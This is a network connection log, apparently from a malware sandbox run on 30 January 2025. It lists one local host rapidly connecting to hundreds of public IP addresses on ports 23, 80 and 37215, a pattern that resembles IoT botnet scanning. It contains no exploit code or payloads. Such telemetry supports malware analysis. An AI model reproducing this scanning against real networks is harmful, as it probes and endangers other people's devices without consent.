Jan 30, 2025 10:42:59.300493956 CET	48320	80	192.168.2.13	62.230.26.70
Jan 30, 2025 10:42:59.302402973 CET	52468	23	192.168.2.13	91.240.205.120
Jan 30, 2025 10:42:59.302952051 CET	48098	80	192.168.2.13	64.107.128.250
Jan 30, 2025 10:42:59.304233074 CET	37215	40298	197.56.120.123	192.168.2.13
Jan 30, 2025 10:42:59.304307938 CET	40298	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:42:59.305325031 CET	44914	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:42:59.305793047 CET	57956	23	192.168.2.13	44.66.221.150
Jan 30, 2025 10:42:59.306138039 CET	52294	80	192.168.2.13	63.89.66.236
Jan 30, 2025 10:42:59.309741020 CET	46516	23	192.168.2.13	42.126.42.151
Jan 30, 2025 10:42:59.310288906 CET	39276	80	192.168.2.13	205.155.28.147
Jan 30, 2025 10:42:59.312063932 CET	45684	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:42:59.313592911 CET	44426	80	192.168.2.13	76.82.182.70
Jan 30, 2025 10:42:59.313803911 CET	35584	23	192.168.2.13	100.190.9.1
Jan 30, 2025 10:42:59.316700935 CET	50348	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:42:59.316922903 CET	37215	45684	41.91.240.84	192.168.2.13
Jan 30, 2025 10:42:59.316982985 CET	45684	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:42:59.317152977 CET	52166	23	192.168.2.13	68.117.250.229
Jan 30, 2025 10:42:59.318289042 CET	37342	37215	192.168.2.13	156.85.4.6
Jan 30, 2025 10:42:59.320267916 CET	59230	23	192.168.2.13	120.237.204.49
Jan 30, 2025 10:42:59.321444035 CET	50726	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:42:59.322861910 CET	54250	23	192.168.2.13	175.120.183.15
Jan 30, 2025 10:42:59.323767900 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:42:59.325128078 CET	23	59230	120.237.204.49	192.168.2.13
Jan 30, 2025 10:42:59.325170040 CET	59230	23	192.168.2.13	120.237.204.49
Jan 30, 2025 10:42:59.325611115 CET	49832	23	192.168.2.13	46.26.121.103
Jan 30, 2025 10:42:59.325983047 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:42:59.329077959 CET	43174	23	192.168.2.13	65.176.116.132
Jan 30, 2025 10:42:59.329463959 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:42:59.331739902 CET	53508	23	192.168.2.13	79.122.160.106
Jan 30, 2025 10:42:59.332145929 CET	45018	80	192.168.2.13	202.64.68.246
Jan 30, 2025 10:42:59.333074093 CET	55952	37215	192.168.2.13	197.141.222.57
Jan 30, 2025 10:42:59.334562063 CET	47088	23	192.168.2.13	164.187.218.16
Jan 30, 2025 10:42:59.334902048 CET	42472	80	192.168.2.13	63.84.132.69
Jan 30, 2025 10:42:59.336571932 CET	23	53508	79.122.160.106	192.168.2.13
Jan 30, 2025 10:42:59.336740971 CET	53508	23	192.168.2.13	79.122.160.106
Jan 30, 2025 10:42:59.338278055 CET	55902	23	192.168.2.13	187.39.5.245
Jan 30, 2025 10:42:59.338552952 CET	41636	37215	192.168.2.13	197.150.194.163
Jan 30, 2025 10:42:59.338737965 CET	43598	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:42:59.341203928 CET	58288	23	192.168.2.13	220.123.153.225
Jan 30, 2025 10:42:59.341466904 CET	53500	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:42:59.344530106 CET	60642	37215	192.168.2.13	197.195.101.247
Jan 30, 2025 10:42:59.345127106 CET	54812	23	192.168.2.13	180.58.35.230
Jan 30, 2025 10:42:59.345376968 CET	38346	80	192.168.2.13	152.165.43.153
Jan 30, 2025 10:42:59.345997095 CET	23	58288	220.123.153.225	192.168.2.13
Jan 30, 2025 10:42:59.346070051 CET	58288	23	192.168.2.13	220.123.153.225
Jan 30, 2025 10:42:59.349548101 CET	45286	23	192.168.2.13	137.58.36.113
Jan 30, 2025 10:42:59.349983931 CET	56798	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:42:59.351613045 CET	38442	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:42:59.353143930 CET	48548	23	192.168.2.13	180.80.197.159
Jan 30, 2025 10:42:59.353812933 CET	41470	80	192.168.2.13	4.184.27.87
Jan 30, 2025 10:42:59.356420040 CET	40558	23	192.168.2.13	220.124.30.85
Jan 30, 2025 10:42:59.356486082 CET	37215	38442	197.120.21.157	192.168.2.13
Jan 30, 2025 10:42:59.356573105 CET	38442	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:42:59.356782913 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:42:59.357537985 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:42:59.359344959 CET	54004	23	192.168.2.13	113.194.242.63
Jan 30, 2025 10:42:59.359631062 CET	42750	80	192.168.2.13	166.166.79.44
Jan 30, 2025 10:42:59.362478971 CET	54156	80	192.168.2.13	175.70.250.182
Jan 30, 2025 10:42:59.362642050 CET	48918	23	192.168.2.13	84.41.2.189
Jan 30, 2025 10:42:59.362910032 CET	47828	37215	192.168.2.13	156.135.156.190
Jan 30, 2025 10:42:59.364160061 CET	23	54004	113.194.242.63	192.168.2.13
Jan 30, 2025 10:42:59.364211082 CET	54004	23	192.168.2.13	113.194.242.63
Jan 30, 2025 10:42:59.366027117 CET	53138	80	192.168.2.13	46.42.247.212
Jan 30, 2025 10:42:59.366523981 CET	56062	23	192.168.2.13	130.201.191.218
Jan 30, 2025 10:42:59.369822025 CET	50634	37215	192.168.2.13	156.1.18.145
Jan 30, 2025 10:42:59.369927883 CET	59226	80	192.168.2.13	175.237.212.104
Jan 30, 2025 10:42:59.370899916 CET	43822	23	192.168.2.13	38.240.226.29
Jan 30, 2025 10:42:59.375883102 CET	37390	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:59.376283884 CET	45118	23	192.168.2.13	132.169.103.200
Jan 30, 2025 10:42:59.378159046 CET	60342	37215	192.168.2.13	41.253.77.123
Jan 30, 2025 10:42:59.378411055 CET	44756	80	192.168.2.13	143.252.240.114
Jan 30, 2025 10:42:59.379374981 CET	43734	23	192.168.2.13	68.127.240.222
Jan 30, 2025 10:42:59.380723953 CET	80	37390	204.108.248.185	192.168.2.13
Jan 30, 2025 10:42:59.380820036 CET	37390	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:59.382493019 CET	42624	80	192.168.2.13	183.226.65.64
Jan 30, 2025 10:42:59.383707047 CET	47784	23	192.168.2.13	43.157.235.252
Jan 30, 2025 10:42:59.384186983 CET	23	43734	68.127.240.222	192.168.2.13
Jan 30, 2025 10:42:59.384236097 CET	43734	23	192.168.2.13	68.127.240.222
Jan 30, 2025 10:42:59.384634018 CET	35322	37215	192.168.2.13	41.114.70.140
Jan 30, 2025 10:42:59.384897947 CET	45320	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:42:59.387459993 CET	49110	23	192.168.2.13	41.41.134.200
Jan 30, 2025 10:42:59.388930082 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:42:59.391092062 CET	49586	23	192.168.2.13	87.115.220.141
Jan 30, 2025 10:42:59.391231060 CET	53288	37215	192.168.2.13	197.121.223.32
Jan 30, 2025 10:42:59.391486883 CET	54080	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:59.394551992 CET	55066	23	192.168.2.13	128.226.27.202
Jan 30, 2025 10:42:59.395183086 CET	48924	80	192.168.2.13	161.193.3.71
Jan 30, 2025 10:42:59.396318913 CET	80	54080	109.119.116.146	192.168.2.13
Jan 30, 2025 10:42:59.396373034 CET	54080	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:59.398164034 CET	33192	37215	192.168.2.13	41.124.85.254
Jan 30, 2025 10:42:59.398569107 CET	46648	23	192.168.2.13	87.89.23.214
Jan 30, 2025 10:42:59.398842096 CET	40052	80	192.168.2.13	202.61.99.119
Jan 30, 2025 10:42:59.401715040 CET	49540	23	192.168.2.13	221.144.13.76
Jan 30, 2025 10:42:59.402056932 CET	48614	80	192.168.2.13	175.231.195.201
Jan 30, 2025 10:42:59.403476000 CET	49824	37215	192.168.2.13	41.204.88.187
Jan 30, 2025 10:42:59.404990911 CET	40292	23	192.168.2.13	193.160.83.197
Jan 30, 2025 10:42:59.405766010 CET	51448	80	192.168.2.13	116.20.216.85
Jan 30, 2025 10:42:59.406528950 CET	23	49540	221.144.13.76	192.168.2.13
Jan 30, 2025 10:42:59.406577110 CET	49540	23	192.168.2.13	221.144.13.76
Jan 30, 2025 10:42:59.409245968 CET	49284	23	192.168.2.13	141.250.116.87
Jan 30, 2025 10:42:59.409651995 CET	43138	80	192.168.2.13	91.58.94.100
Jan 30, 2025 10:42:59.410290003 CET	46416	37215	192.168.2.13	156.131.190.110
Jan 30, 2025 10:42:59.413156033 CET	35604	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:59.413345098 CET	59264	23	192.168.2.13	149.237.94.241
Jan 30, 2025 10:42:59.417423964 CET	57984	80	192.168.2.13	145.90.15.173
Jan 30, 2025 10:42:59.417798042 CET	45908	23	192.168.2.13	73.194.195.182
Jan 30, 2025 10:42:59.417978048 CET	80	35604	193.92.48.233	192.168.2.13
Jan 30, 2025 10:42:59.418014050 CET	58936	37215	192.168.2.13	197.239.110.211
Jan 30, 2025 10:42:59.418025017 CET	35604	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:59.420077085 CET	44202	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:59.421190977 CET	47600	23	192.168.2.13	77.6.38.222
Jan 30, 2025 10:42:59.423209906 CET	46444	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:42:59.423863888 CET	47772	37215	192.168.2.13	41.149.64.92
Jan 30, 2025 10:42:59.424189091 CET	52958	23	192.168.2.13	74.223.19.152
Jan 30, 2025 10:42:59.424918890 CET	80	44202	133.82.178.10	192.168.2.13
Jan 30, 2025 10:42:59.424977064 CET	44202	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:59.426008940 CET	50350	80	192.168.2.13	65.71.195.152
Jan 30, 2025 10:42:59.426920891 CET	44610	23	192.168.2.13	159.203.230.2
Jan 30, 2025 10:42:59.428421021 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:42:59.428539991 CET	60706	80	192.168.2.13	66.208.141.198
Jan 30, 2025 10:42:59.429678917 CET	46968	23	192.168.2.13	75.38.35.84
Jan 30, 2025 10:42:59.430980921 CET	58662	80	192.168.2.13	103.72.190.172
Jan 30, 2025 10:42:59.432810068 CET	44394	23	192.168.2.13	192.181.45.243
Jan 30, 2025 10:42:59.434230089 CET	35700	37215	192.168.2.13	197.119.67.191
Jan 30, 2025 10:42:59.434423923 CET	48132	80	192.168.2.13	165.157.242.131
Jan 30, 2025 10:42:59.436615944 CET	53090	23	192.168.2.13	167.253.216.16
Jan 30, 2025 10:42:59.437191010 CET	48096	80	192.168.2.13	73.160.135.116
Jan 30, 2025 10:42:59.437611103 CET	23	44394	192.181.45.243	192.168.2.13
Jan 30, 2025 10:42:59.437657118 CET	44394	23	192.168.2.13	192.181.45.243
Jan 30, 2025 10:42:59.439949989 CET	40794	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:42:59.440093040 CET	56398	37215	192.168.2.13	41.240.101.105
Jan 30, 2025 10:42:59.440336943 CET	36346	80	192.168.2.13	88.116.148.47
Jan 30, 2025 10:42:59.442718029 CET	57672	80	192.168.2.13	133.119.239.213
Jan 30, 2025 10:42:59.443089008 CET	47826	23	192.168.2.13	131.186.92.5
Jan 30, 2025 10:42:59.444813013 CET	23	40794	125.153.47.247	192.168.2.13
Jan 30, 2025 10:42:59.445403099 CET	40794	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:42:59.447834015 CET	37970	37215	192.168.2.13	41.250.127.201
Jan 30, 2025 10:42:59.447968006 CET	59260	80	192.168.2.13	47.58.239.244
Jan 30, 2025 10:42:59.448230028 CET	53706	23	192.168.2.13	132.23.182.226
Jan 30, 2025 10:42:59.450731993 CET	39894	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:42:59.450923920 CET	33160	23	192.168.2.13	169.222.221.197
Jan 30, 2025 10:42:59.452470064 CET	49340	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.453386068 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:42:59.453753948 CET	42212	23	192.168.2.13	54.157.172.86
Jan 30, 2025 10:42:59.455426931 CET	47122	80	192.168.2.13	164.37.38.233
Jan 30, 2025 10:42:59.456301928 CET	58638	23	192.168.2.13	73.42.252.0
Jan 30, 2025 10:42:59.457135916 CET	33674	37215	192.168.2.13	41.57.49.71
Jan 30, 2025 10:42:59.457273960 CET	37215	49340	41.84.172.149	192.168.2.13
Jan 30, 2025 10:42:59.457334995 CET	49340	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.458017111 CET	34198	80	192.168.2.13	79.95.47.220
Jan 30, 2025 10:42:59.459100008 CET	42986	23	192.168.2.13	19.182.13.235
Jan 30, 2025 10:42:59.460410118 CET	32968	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:59.462086916 CET	32848	23	192.168.2.13	52.84.53.156
Jan 30, 2025 10:42:59.462187052 CET	50640	37215	192.168.2.13	156.219.15.95
Jan 30, 2025 10:42:59.463238001 CET	36884	80	192.168.2.13	71.98.117.6
Jan 30, 2025 10:42:59.465192080 CET	80	32968	223.173.141.112	192.168.2.13
Jan 30, 2025 10:42:59.465246916 CET	32968	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:59.465284109 CET	56672	80	192.168.2.13	92.113.30.64
Jan 30, 2025 10:42:59.466593981 CET	46616	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:59.466649055 CET	46616	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:59.466898918 CET	34020	37215	192.168.2.13	197.36.138.121
Jan 30, 2025 10:42:59.467544079 CET	47104	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:59.468467951 CET	39986	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:59.468467951 CET	39986	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:59.469109058 CET	40440	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:59.470154047 CET	36506	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:59.470154047 CET	36506	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:59.470303059 CET	47176	37215	192.168.2.13	156.95.129.39
Jan 30, 2025 10:42:59.471113920 CET	36888	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:59.471545935 CET	80	46616	79.15.202.40	192.168.2.13
Jan 30, 2025 10:42:59.472367048 CET	49444	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.472367048 CET	49444	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.472949982 CET	49792	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.473242998 CET	80	39986	151.141.250.48	192.168.2.13
Jan 30, 2025 10:42:59.473803043 CET	42194	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:59.473803043 CET	42194	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:59.473998070 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:42:59.474618912 CET	42516	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:59.474978924 CET	80	36506	132.139.158.115	192.168.2.13
Jan 30, 2025 10:42:59.475388050 CET	38900	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:59.475388050 CET	38900	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:59.475912094 CET	39206	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:59.476779938 CET	37390	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:59.476779938 CET	37390	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:59.476927042 CET	47236	37215	192.168.2.13	156.229.77.85
Jan 30, 2025 10:42:59.477180958 CET	80	49444	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:59.477660894 CET	37552	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:59.477709055 CET	80	49792	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:59.477802992 CET	49792	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.478591919 CET	54080	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:59.478591919 CET	54080	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:59.478593111 CET	80	42194	151.186.81.38	192.168.2.13
Jan 30, 2025 10:42:59.479249954 CET	54218	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:59.480170012 CET	80	38900	151.177.64.144	192.168.2.13
Jan 30, 2025 10:42:59.480264902 CET	60758	23	192.168.2.13	47.67.210.161
Jan 30, 2025 10:42:59.480460882 CET	35604	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:59.480460882 CET	35604	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:59.481595039 CET	80	37390	204.108.248.185	192.168.2.13
Jan 30, 2025 10:42:59.481663942 CET	35718	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:59.482601881 CET	32996	23	192.168.2.13	217.90.235.236
Jan 30, 2025 10:42:59.482712984 CET	44202	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:59.482712984 CET	44202	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:59.483347893 CET	80	54080	109.119.116.146	192.168.2.13
Jan 30, 2025 10:42:59.483772039 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:59.484334946 CET	32968	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:59.484334946 CET	32968	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:59.484657049 CET	33010	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:59.485071898 CET	23	60758	47.67.210.161	192.168.2.13
Jan 30, 2025 10:42:59.485121012 CET	60758	23	192.168.2.13	47.67.210.161
Jan 30, 2025 10:42:59.485248089 CET	80	35604	193.92.48.233	192.168.2.13
Jan 30, 2025 10:42:59.485457897 CET	49792	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.487544060 CET	80	44202	133.82.178.10	192.168.2.13
Jan 30, 2025 10:42:59.489099026 CET	80	32968	223.173.141.112	192.168.2.13
Jan 30, 2025 10:42:59.490371943 CET	80	49792	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:59.490438938 CET	49792	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.496367931 CET	50516	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:59.498080969 CET	57218	37215	192.168.2.13	197.55.246.248
Jan 30, 2025 10:42:59.499336004 CET	60162	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:42:59.500504971 CET	52570	37215	192.168.2.13	197.117.192.49
Jan 30, 2025 10:42:59.501213074 CET	37215	50516	41.114.221.214	192.168.2.13
Jan 30, 2025 10:42:59.501260042 CET	50516	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:59.501733065 CET	60580	37215	192.168.2.13	41.100.124.121
Jan 30, 2025 10:42:59.502881050 CET	42134	37215	192.168.2.13	156.252.3.126
Jan 30, 2025 10:42:59.503948927 CET	45482	37215	192.168.2.13	41.47.51.86
Jan 30, 2025 10:42:59.504178047 CET	37215	60162	156.186.122.47	192.168.2.13
Jan 30, 2025 10:42:59.504225969 CET	60162	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:42:59.505013943 CET	43194	37215	192.168.2.13	197.74.198.211
Jan 30, 2025 10:42:59.505961895 CET	44658	37215	192.168.2.13	156.217.78.62
Jan 30, 2025 10:42:59.507090092 CET	46196	37215	192.168.2.13	156.115.243.2
Jan 30, 2025 10:42:59.508132935 CET	40586	37215	192.168.2.13	156.245.216.254
Jan 30, 2025 10:42:59.509318113 CET	57536	37215	192.168.2.13	156.91.135.235
Jan 30, 2025 10:42:59.510431051 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:42:59.511666059 CET	53810	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:59.512712955 CET	53972	37215	192.168.2.13	156.48.204.33
Jan 30, 2025 10:42:59.513919115 CET	51858	37215	192.168.2.13	41.100.230.86
Jan 30, 2025 10:42:59.515043020 CET	49340	37215	192.168.2.13	156.179.84.58
Jan 30, 2025 10:42:59.515708923 CET	80	46616	79.15.202.40	192.168.2.13
Jan 30, 2025 10:42:59.515727043 CET	80	36506	132.139.158.115	192.168.2.13
Jan 30, 2025 10:42:59.515749931 CET	80	39986	151.141.250.48	192.168.2.13
Jan 30, 2025 10:42:59.516257048 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:42:59.516590118 CET	37215	53810	41.205.61.115	192.168.2.13
Jan 30, 2025 10:42:59.516634941 CET	53810	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:42:59.517538071 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:42:59.518717051 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:42:59.519752979 CET	80	42194	151.186.81.38	192.168.2.13
Jan 30, 2025 10:42:59.519762039 CET	80	49444	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:59.519814968 CET	59190	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:59.521095991 CET	57456	37215	192.168.2.13	41.181.185.210
Jan 30, 2025 10:42:59.521990061 CET	47682	37215	192.168.2.13	156.147.172.251
Jan 30, 2025 10:42:59.523437023 CET	59534	37215	192.168.2.13	41.214.47.225
Jan 30, 2025 10:42:59.524594069 CET	37215	59190	156.198.139.64	192.168.2.13
Jan 30, 2025 10:42:59.524635077 CET	59190	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:42:59.524949074 CET	33294	37215	192.168.2.13	156.73.88.204
Jan 30, 2025 10:42:59.526031017 CET	35042	37215	192.168.2.13	41.26.125.148
Jan 30, 2025 10:42:59.527158976 CET	34116	37215	192.168.2.13	41.95.183.165
Jan 30, 2025 10:42:59.527759075 CET	80	54080	109.119.116.146	192.168.2.13
Jan 30, 2025 10:42:59.527770996 CET	80	37390	204.108.248.185	192.168.2.13
Jan 30, 2025 10:42:59.527779102 CET	80	38900	151.177.64.144	192.168.2.13
Jan 30, 2025 10:42:59.527789116 CET	80	44202	133.82.178.10	192.168.2.13
Jan 30, 2025 10:42:59.527797937 CET	80	35604	193.92.48.233	192.168.2.13
Jan 30, 2025 10:42:59.528243065 CET	55190	37215	192.168.2.13	197.199.186.236
Jan 30, 2025 10:42:59.529515982 CET	51412	37215	192.168.2.13	156.162.130.12
Jan 30, 2025 10:42:59.530730963 CET	50464	37215	192.168.2.13	156.98.209.241
Jan 30, 2025 10:42:59.531729937 CET	80	32968	223.173.141.112	192.168.2.13
Jan 30, 2025 10:42:59.531759977 CET	36802	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:59.533454895 CET	44904	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:42:59.535402060 CET	49818	37215	192.168.2.13	197.219.207.217
Jan 30, 2025 10:42:59.536578894 CET	37215	36802	41.221.209.217	192.168.2.13
Jan 30, 2025 10:42:59.536628962 CET	36802	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:42:59.536952019 CET	55790	37215	192.168.2.13	197.220.153.229
Jan 30, 2025 10:42:59.539453030 CET	45088	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:59.541043997 CET	42172	37215	192.168.2.13	156.192.119.32
Jan 30, 2025 10:42:59.543373108 CET	44092	37215	192.168.2.13	156.7.152.31
Jan 30, 2025 10:42:59.544351101 CET	57128	37215	192.168.2.13	156.232.166.67
Jan 30, 2025 10:42:59.544353962 CET	37215	45088	197.211.43.63	192.168.2.13
Jan 30, 2025 10:42:59.544420004 CET	45088	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:42:59.545507908 CET	41772	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:42:59.546575069 CET	43984	37215	192.168.2.13	41.2.193.147
Jan 30, 2025 10:42:59.547733068 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:42:59.549091101 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:42:59.550698996 CET	41486	37215	192.168.2.13	156.97.202.177
Jan 30, 2025 10:42:59.551867008 CET	60952	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:59.552848101 CET	43708	37215	192.168.2.13	41.160.108.206
Jan 30, 2025 10:42:59.553760052 CET	48024	37215	192.168.2.13	41.168.122.168
Jan 30, 2025 10:42:59.555231094 CET	47346	37215	192.168.2.13	41.173.205.234
Jan 30, 2025 10:42:59.556535959 CET	47888	37215	192.168.2.13	156.242.44.150
Jan 30, 2025 10:42:59.556732893 CET	37215	60952	41.137.30.159	192.168.2.13
Jan 30, 2025 10:42:59.556804895 CET	60952	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:42:59.557733059 CET	56232	37215	192.168.2.13	156.32.8.151
Jan 30, 2025 10:42:59.559012890 CET	37162	37215	192.168.2.13	197.109.251.180
Jan 30, 2025 10:42:59.560034037 CET	40608	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.561175108 CET	60288	37215	192.168.2.13	197.214.77.6
Jan 30, 2025 10:42:59.562700987 CET	49598	37215	192.168.2.13	197.60.231.190
Jan 30, 2025 10:42:59.564286947 CET	57052	37215	192.168.2.13	41.179.125.10
Jan 30, 2025 10:42:59.564855099 CET	37215	40608	41.127.235.237	192.168.2.13
Jan 30, 2025 10:42:59.564904928 CET	40608	37215	192.168.2.13	41.127.235.237
Jan 30, 2025 10:42:59.565486908 CET	53266	37215	192.168.2.13	156.96.69.23
Jan 30, 2025 10:42:59.567435026 CET	57724	37215	192.168.2.13	41.0.25.105
Jan 30, 2025 10:42:59.568593979 CET	53202	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:42:59.568650961 CET	53202	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:42:59.569299936 CET	53738	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:42:59.569813967 CET	58288	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:42:59.569813967 CET	58288	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:42:59.570300102 CET	58800	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:42:59.570857048 CET	39574	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.570857048 CET	39574	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.571448088 CET	40072	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.571877003 CET	36656	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:42:59.571877956 CET	36656	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:42:59.572617054 CET	37088	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:42:59.573381901 CET	40298	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:42:59.573381901 CET	40298	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:42:59.573451042 CET	37215	53202	197.70.160.34	192.168.2.13
Jan 30, 2025 10:42:59.574107885 CET	40702	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:42:59.574613094 CET	37215	58288	156.215.110.203	192.168.2.13
Jan 30, 2025 10:42:59.575541019 CET	45684	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:42:59.575541019 CET	45684	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:42:59.575704098 CET	37215	39574	156.134.114.48	192.168.2.13
Jan 30, 2025 10:42:59.576250076 CET	37215	40072	156.134.114.48	192.168.2.13
Jan 30, 2025 10:42:59.576248884 CET	46072	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:42:59.576524019 CET	40072	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.576894045 CET	37215	36656	41.153.173.123	192.168.2.13
Jan 30, 2025 10:42:59.577179909 CET	38442	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:42:59.577179909 CET	38442	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:42:59.578129053 CET	38774	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:42:59.578161001 CET	37215	40298	197.56.120.123	192.168.2.13
Jan 30, 2025 10:42:59.579130888 CET	49340	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.579255104 CET	49340	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.579840899 CET	49526	37215	192.168.2.13	41.84.172.149
Jan 30, 2025 10:42:59.580604076 CET	37215	45684	41.91.240.84	192.168.2.13
Jan 30, 2025 10:42:59.580816984 CET	50516	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:59.580828905 CET	50516	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:59.581326962 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:42:59.581990004 CET	37215	38442	197.120.21.157	192.168.2.13
Jan 30, 2025 10:42:59.582063913 CET	60162	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:42:59.582063913 CET	60162	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:42:59.583020926 CET	60288	37215	192.168.2.13	156.186.122.47
